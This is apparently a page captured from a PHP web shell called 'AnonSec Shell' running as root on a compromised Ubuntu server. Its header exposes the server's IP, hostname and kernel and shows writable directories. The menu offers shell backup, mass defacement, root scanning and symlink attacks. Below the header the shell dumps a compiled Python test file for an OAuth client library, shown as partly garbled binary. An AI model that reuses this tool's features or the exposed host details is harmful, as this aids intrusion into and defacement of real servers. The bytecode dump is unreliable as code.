AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/lazr/restfulclient/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/lazr/restfulclient/tests/__pycache__/test_oauth.cpython-310.pyc
o

��.^��@s�dZeZddlZddlZddlZddlZddlmZm	Z	ddl
mZddlm
Z
mZmZmZGdd�de�ZGdd	�d	e�ZGd
d�de�ZGdd
�d
e�Zdd�ZdS)z"Tests for the OAuth-aware classes.�N)�	MockPatch�TempDir)�TestCase)�AccessToken�Consumer�OAuthAuthorizer�SystemWideConsumerc@seZdZdd�Zdd�ZdS)�TestConsumercC�:tddd�}|�|jd�|�|jd�|�|jd�dS)N�key�secret�application)r�assertEqualrr�application_name��self�consumer�r�E/usr/lib/python3/dist-packages/lazr/restfulclient/tests/test_oauth.py�test_data_fields,�zTestConsumer.test_data_fieldscCstdd�}|�|jd�dS�Nrr)rrrrrrr�test_default_application_name2s
z*TestConsumer.test_default_application_nameN)�__name__�
__module__�__qualname__rrrrrrr	*sr	c@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�TestAccessTokencCr
)Nrr�context)rrrrr�r�access_tokenrrrr:rz TestAccessToken.test_data_fieldscCstdd�}|�|j�dSr)r�assertIsNonerrrrr�test_default_context@s
z$TestAccessToken.test_default_contextcCstdd�}|�dt|��dS)N�lock&key�secret=password�;oauth_token_secret=secret%3Dpassword&oauth_token=lock%26key)rr�strrrrr�test___str__Es

�zTestAccessToken.test___str__cCs*t�d�}|�|jd�|�|jd�dS)Nr$r"r#)r�from_stringrrrrrrr�test_from_stringKs
�z TestAccessToken.test_from_stringN)rrrrr!r&r(rrrrr8s
rc@s$eZdZdd�Zdd�Zdd�ZdS)�TestSystemWideConsumercC�P|�tddd��|�tddd��|�tddd��td�}|�|jd	�dS)
N�distro.name�Fooix��return_value�platform.system�FooOS�socket.gethostname�foo�app namezSystem-wide: Fooix (foo)��
useFixturerrrrrrrr�test_useful_distro_nameT��z.TestSystemWideConsumer.test_useful_distro_namecCr*)
Nr+�r-r/�BarOSr1�barr3zSystem-wide: BarOS (bar)r4rrrr�test_empty_distro_name^r7z-TestSystemWideConsumer.test_empty_distro_namecCsT|�tdtd�d��|�tddd��|�tddd��td	�}|�|jd
�dS)Nr+zOh noes!)�side_effectr/�BazOSr-r1�bazr3zSystem-wide: BazOS (baz))r5r�	Exceptionrrrrrrr�test_broken_distro_namehs��z.TestSystemWideConsumer.test_broken_distro_nameN)rrrr6r;r@rrrrr)Rs

r)c@seZdZdZdd�ZdS)�TestOAuthAuthorizerzTest for the OAuth Authorizer.cCs�|�t��j}tj�|d�}tddtdd�d�}|�|�|�tj�	|��|�
t�t�|�j
�tjtjB�t�|�}|�
|jjd�|�
|jjd�|�
|jjd�|�
|jjd�dS)N�credentialszconsumer.keyzconsumer.secretz
access.keyz
access.secret)�consumer_secretr)r5r�path�os�joinrr�save_to_path�
assertTrue�existsr�stat�S_IMODE�st_mode�S_IREAD�S_IWRITE�load_from_pathrrrr)r�temp_dir�credentials_pathrB�loaded_credentialsrrr� test_save_to_and_load_from__pathws,�

�
���z4TestOAuthAuthorizer.test_save_to_and_load_from__pathN)rrr�__doc__rSrrrrrAtsrAcCst���t�S)N)�unittest�
TestLoader�loadTestsFromNamerrrrr�
test_suite�srX)rT�type�
__metaclass__rE�os.pathrJrU�fixturesrr�	testtoolsr�"lazr.restfulclient.authorize.oauthrrrrr	rr)rArXrrrr�<module>s"

Anon7 - 2022
AnonSec Team